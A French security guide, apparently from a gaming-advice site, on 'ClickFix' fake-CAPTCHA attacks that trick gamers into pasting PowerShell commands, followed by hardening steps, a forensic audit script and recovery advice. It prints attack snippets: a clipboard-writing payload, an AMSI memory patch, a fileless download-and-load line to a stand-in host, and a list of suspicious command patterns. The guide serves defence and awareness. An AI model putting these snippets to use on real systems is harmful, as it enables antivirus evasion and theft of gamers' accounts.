Introduction : La montée des attaques d'ingénierie sociale "ClickFix" dans le jeu vidéo
Dans l'écosystème du jeu sur PC, les répertoires de mods, les forums de nuanceurs (shaders), les sites de téléchargement de correctifs officieux et les espaces d'entraide technique contre les plantages constituent des cibles de choix pour les cybercriminels. Pendant de nombreuses années, la diffusion de logiciels malveillants ciblait les joueurs par le téléchargement direct de fichiers exécutables (.exe ou .zip) déguisés en entraîneurs (trainers), astuces ou utilitaires. Face à cela, les navigateurs modernes (Chrome, Edge, Firefox) et les systèmes d'exploitation ont déployé des protections multicouches redoutables : analyse de réputation SmartScreen, téléchargements sandboxés et fenêtres d'alerte explicites.
Afin de contourner intégralement ces défenses au niveau du navigateur, les attaquants ont mis au point une tactique d'ingénierie sociale à haute évasion baptisée ClickFix (également désignée sous les noms de "faux CAPTCHA" ou d'attaque "presse-papiers vers terminal"). Au lieu d'imposer le téléchargement d'un fichier suspect, ClickFix manipule l'utilisateur au travers d'une fausse vérification humaine dans le navigateur pour l'inciter à ouvrir volontairement la fenêtre Exécuter de Windows (Win + R) ou PowerShell, puis à coller et exécuter une commande malveillante dissimulée.
Comme l'instruction est exécutée localement sous les privilèges de l'utilisateur avec les outils d'administration légitimes de Windows, le navigateur n'enregistre aucun téléchargement, aucun binaire n'est déposé sur le disque et les antivirus traditionnels basés sur la signature de fichiers sont pris de court. Ce guide analyse en détail la chaîne d'attaque de ClickFix, les mécanismes de neutralisation d'AMSI en mémoire vive ainsi que les procédures forensiques de remédiation adaptées aux joueurs.
Chaîne d'attaque ClickFix : De l'appât Web à l'exécution en mémoire
La séquence d'infection s'articule autour d'une série d'étapes minutieusement conçues pour exploiter l'empressement du joueur à corriger un bogue ou installer un mod :
[1. Visite d'une page compromise de ressources de jeu (ex. : "Patch correctif FPS Wukong", "Bêta de GTA 6", "Mod DLSS 3.5")]
|
v
[2. Affichage d'un faux contrôle CAPTCHA : "Confirmez que vous n'êtes pas un robot" (Imitant Cloudflare ou reCAPTCHA)]
|
v
[3. Événement DOM : Le code JavaScript appelle navigator.clipboard.writeText(...) pour charger le script malveillant]
|
v
[4. Consignes d'ingénierie sociale : "Appuyez sur Win + R, faites Ctrl + V puis appuyez sur Entrée pour valider l'accès"]
|
v
[5. Validation dans la boîte Exécuter : explorer.exe initialise powershell.exe / cmd.exe en tâche de fond]
|
v
[6. Exécution PowerShell obfusquée : Patch mémoire d'AMSI -> Téléchargement d'infostealers (Lumma, Stealc, Vidar)]
|
v
[7. Exfiltration des données : Vol de cookies Steam, jetons Discord et identifiants, transmis vers un bot Telegram ou C2]
Étape 1 : Des appâts ciblés sur l'actualité vidéoludique
Les cybercriminels déploient des centaines de domaines éphémères optimisés pour le référencement naturel (SEO poisoning) sur des requêtes très recherchées :
- "Correctif dll chute de fps Black Myth Wukong"
- "Cyberpunk 2077 Phantom Liberty dlc gratuit débloqueur"
- "Contournement anticheat Vanguard Valorant 2026"
- "Téléchargement injecteur de script Roblox"
- "Portail pour récupérer Discord Nitro gratuit"
Étape 2 : Le faux volet de vérification CAPTCHA
Lorsque le joueur clique sur le lien de téléchargement, aucun fichier n'est transmis. Le site assombrit la page et fait apparaître une fenêtre modale calquée sur l'apparence officielle de Cloudflare Turnstile, hCaptcha ou Google reCAPTCHA :
- Message affiché : "Vérification de sécurité Cloudflare : Confirmez que vous êtes un être humain".
- Dès que la case est cochée, une simulation d'échec ou de chargement se produit, suivie d'une série d'instructions d'assistance :
- Appuyez sur les touches Windows + R de votre clavier.
- Appuyez sur Ctrl + V.
- Appuyez sur la touche Entrée.
- D'autres variantes simulent un problème de bibliothèques système : "Composant DirectX 12 manquant. Collez ce script dans votre console pour débloquer le téléchargement."
Étape 3 : Écriture silencieuse dans le presse-papiers
Pendant que l'internaute consulte les instructions, le code JavaScript de la page s'est déjà exécuté :
// Le clic déclenche l'écriture transparente de la commande dans le presse-papiers
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);
Dans les navigateurs basés sur Chromium, dès lors que la fonction navigator.clipboard.writeText() est exécutée en réponse à une action volontaire de l'utilisateur (le clic sur le faux bouton de vérification), l'API valide l'écriture sans requérir l'autorisation du système. Le joueur s'imagine avoir validé une simple vérification, sans réaliser que son presse-papiers contient une charge système hostile.
Déconstruction technique : Le comportement de la charge utile PowerShell
Lorsque la victime actionne le raccourci Win + R, colle le texte et valide par Entrée, le processus généré par explorer.exe se déploie selon quatre phases caractéristiques :
1. Dissimulation de l'interface et contournement des politiques
La commande d'amorçage comporte des paramètres d'évasion spécifiques :
# Structure type de la commande initiale ClickFix
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."
-ExecutionPolicy Bypass: Évite le blocage par défaut de Windows sur l'exécution des scripts non signés (rappel : l'Execution Policy n'est qu'un garde-fou et ne s'applique qu'aux fichiers.ps1, sans entraver les instructions passées directement par-Command).-WindowStyle Hidden: Réduit et masque instantanément la fenêtre d'invite de commande en quelques millisecondes pour laisser croire à un traitement invisible en arrière-plan.
2. Altération en mémoire d'AMSI (Antimalware Scan Interface)
Avant de rapatrier le code d'attaque principal, le script doit désactiver AMSI. Ce composant intégré à Windows Defender contrôle le contenu des scripts en mémoire avant leur exécution.
L'attaque procède à une modification ciblée au sein de amsi.dll :
- Localisation en mémoire de l'adresse de la fonction exportée
AmsiScanBufferdans la bibliothèqueamsi.dll. - Modification des droits de la page mémoire en lecture, écriture et exécution (
PAGE_EXECUTE_READWRITE) à l'aide de l'API WindowsVirtualProtect. - Réécriture des premiers octets de la fonction par des instructions d'échappement en assembleur :
mov eax, 0x80070057 ; Code d'erreur E_INVALIDARG ret - Dès lors, toute nouvelle tentative d'analyse soumise à AMSI au sein de ce processus PowerShell renvoie une erreur et valide le code par défaut (
AMSI_RESULT_CLEAN), aveuglant totalement l'antivirus pour la suite des opérations.
3. Exécution dynamique sans fichier (Fileless Execution)
Une fois le contrôle d'AMSI neutralisé, PowerShell télécharge la charge utile finale via le réseau :
# Téléchargement et chargement réflectif en mémoire vive
$data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
[System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);
En s'appuyant sur la réflexion .NET [System.Reflection.Assembly]::Load ou sur des techniques d'injection de processus (Process Hollowing) dans des binaires système de confiance (MSBuild.exe, svchost.exe), l'exécutable malveillant tourne directement dans la mémoire vive, sans déposer de fichier sur le disque dur.
4. Pillage ciblé des identifiants et des actifs de jeu
L'infostealer injecté (généralement Lumma, Stealc ou Vidar) extrait méthodiquement les données d'authentification des joueurs :
- Cookies de session Web : Récupération des cookies
steamLoginSecureetsessioniddans les profils de navigateurs Chromium et Firefox. - Jetons Discord : Recherche des jetons de connexion dans
%APPDATA%\discord\Local Storage\leveldb. - Plateformes de jeu : Moisson des identifiants stockés par Epic Games Launcher, Battle.net, Riot Client et EA Desktop.
- Portefeuilles Web3 et inventaires : Détection des extensions de cryptomonnaies et évaluation des objets échangeables dans l'inventaire Steam.
- Exfiltration : Compression des données sous forme d'archive chiffrée et envoi chiffré en HTTPS vers un bot Telegram ou un serveur de commande et contrôle (C2).
Matrice des menaces ClickFix : Analyse comparative et traces forensiques
| Type d'appât | Discours d'ingénierie sociale | Canal d'exécution | Artefact technique majeur | Empreinte forensique sur le poste |
|---|---|---|---|---|
| Faux CAPTCHA Turnstile | "Validez l'étape pour autoriser le téléchargement du mod" | Win + R -> powershell.exe -w hidden -enc | Patch mémoire d' AmsiScanBuffer + IEX en ligne | Événement 4104 (ScriptBlock Logging) ; chaîne Base64 dans ConsoleHost_history.txt |
| Réparation DirectX / VC++ | "Fichier d3dx9_43.dll introuvable, collez le script pour réparer" | Console PowerShell en mode Administrateur | mshta.exe http://.../fix.hta ou script | Enregistrement de mshta.exe dans Sysmon ; trafic réseau sortant vers des adresses IP suspectes |
| Accès bêta sur Discord | "Saisissez votre clé de test confidentielle dans le terminal" | cmd.exe /c start /b powershell ... | Script envoyant les données à un Webhook Discord | Requêtes HTTPS POST vers discord.com/api/webhooks/... avec pièces jointes |
| Décompresseur de shaders | "Collez cette instruction pour décompresser les caches Vulkan" | Fenêtre PowerShell classique | Déploiement d'une DLL malveillante dans %TEMP% | Nouvelles entrées dans HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
Mesures de durcissement préventif sous Windows
Les joueurs et gestionnaires de parcs informatiques peuvent appliquer des stratégies concrètes pour neutraliser ces tentatives d'exécution :
1. Activer la journalisation des blocs de scripts (Événement 4104)
Par défaut, Windows n'enregistre pas l'intégralité du code exécuté interactivement dans PowerShell. Activer la journalisation approfondie permet de retrouver le code clair exécuté après désobstrusion dans l'Observateur d'événements :
- Lancez
gpedit.msc(Éditeur de stratégie de groupe locale). - Parcourez :
Configuration ordinateur->Modèles d'administration->Composants Windows->Windows PowerShell. - Activez la stratégie Activer l'enregistrement de blocs de scripts PowerShell.
2. Configurer le mode de langage restreint (CLM)
Le mode de langage restreint (Constrained Language Mode) empêche PowerShell d'appeler les fonctions de réflexion .NET ([System.Reflection.Assembly]) et les API de bas niveau, rendant inopérants 99 % des chargeurs malveillants :
- Définissez la variable d'environnement système
__PSLockdownPolicyà la valeur4.
3. Restreindre les interpréteurs de scripts historiques via WDAC
Pour éviter que les assaillants ne remplacent PowerShell par mshta.exe (exécutable d'applications HTML) ou wscript.exe, restreignez ou auditez ces utilitaires via le Contrôle d'application Windows Defender (WDAC).
Script d'investigation PowerShell : Détection des traces d'infection
Si vous craignez d'avoir validé une commande suspecte, déconnectez sans attendre votre ordinateur d'Internet et exécutez ce script de diagnostic :
# Script d'audit et d'investigation forensique ClickFix
Write-Host "=== Audit Forensique d'Infection ClickFix ===" -ForegroundColor Cyan
# 1. Examen de l'historique de la console PowerShell
$historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Write-Host "`n[1] Vérification des commandes PowerShell récentes..." -ForegroundColor Yellow
$suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
$historyLines = Get-Content -Path $historyPath -Tail 50
foreach ($line in $historyLines) {
foreach ($pattern in $suspiciousPatterns) {
if ($line -match $pattern) {
Write-Host " [ALERTE : Commande suspecte relevée] : $line" -ForegroundColor Red
break
}
}
}
}
# 2. Examen de l'historique de la boîte Exécuter (RunMRU)
Write-Host "`n[2] Analyse des clés de registre RunMRU d'Exécuter..." -ForegroundColor Yellow
$runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
if (Test-Path $runMruPath) {
$mruEntries = Get-ItemProperty -Path $runMruPath
$mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
Write-Host " [DANGER : Entrée suspecte dans Exécuter] : $($_.Name) = $($_.Value)" -ForegroundColor Red
} else {
Write-Host " [Entrée normale] : $($_.Name) = $($_.Value)" -ForegroundColor Gray
}
}
}
# 3. Examen des clés de registre de démarrage automatique
Write-Host "`n[3] Contrôle des programmes lancés au démarrage..." -ForegroundColor Yellow
$runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan
Protocole d'intervention d'urgence post-compromission
Si le diagnostic révèle l'exécution effective d'une commande malveillante, appliquez immédiatement le protocole suivant :
- Isolement réseau immédiat : Débranchez le câble Ethernet ou désactivez la connexion Wi-Fi afin d'interrompre l'exfiltration des identifiants vers les serveurs hostiles.
- Révocation de l'ensemble des sessions depuis un appareil tiers sain :
- Connectez-vous à Steam depuis un smartphone ou un ordinateur non contaminé : ouvrez Paramètres -> Sécurité -> Désautoriser tous les autres appareils, afin de révoquer sans délai les cookies
steamLoginSecuredérobés. - Modifiez le mot de passe de votre compte Discord : cette action révoque automatiquement l'ensemble des jetons d'autorisation actifs.
- Déconnectez toutes les sessions de vos comptes Google, Epic Games et Microsoft, puis mettez à jour leurs mots de passe.
- Connectez-vous à Steam depuis un smartphone ou un ordinateur non contaminé : ouvrez Paramètres -> Sécurité -> Désautoriser tous les autres appareils, afin de révoquer sans délai les cookies
- Contrôle et révocation de la clé Steam Web API : Depuis un appareil sain, ouvrez
https://steamcommunity.com/dev/apikeyet supprimez toute clé ou tout domaine associé configuré sans votre accord. - Analyse antivirus hors ligne : Utilisez l'analyse hors ligne de Microsoft Defender ou une clé USB de secours amorçable pour analyser en profondeur les zones temporaires et les secteurs de démarrage du disque.
- Acquisition de réflexes de sécurité fondés sur l'architecture logicielle : Les technologies de vérification légitimes comme Cloudflare ou Google sont strictement confinées au navigateur Web ; aucun service authentique ne demande à un joueur d'appuyer sur
Win + Rou de coller des scripts dans sa console. En consultant des plateformes de référence technique comme 365Finds, les passionnés de jeu vidéo acquièrent les connaissances indispensables pour décrypter les mécanismes d'ingénierie sociale, identifier les vecteurs de menace et préserver l'intégrité de leur bibliothèque numérique.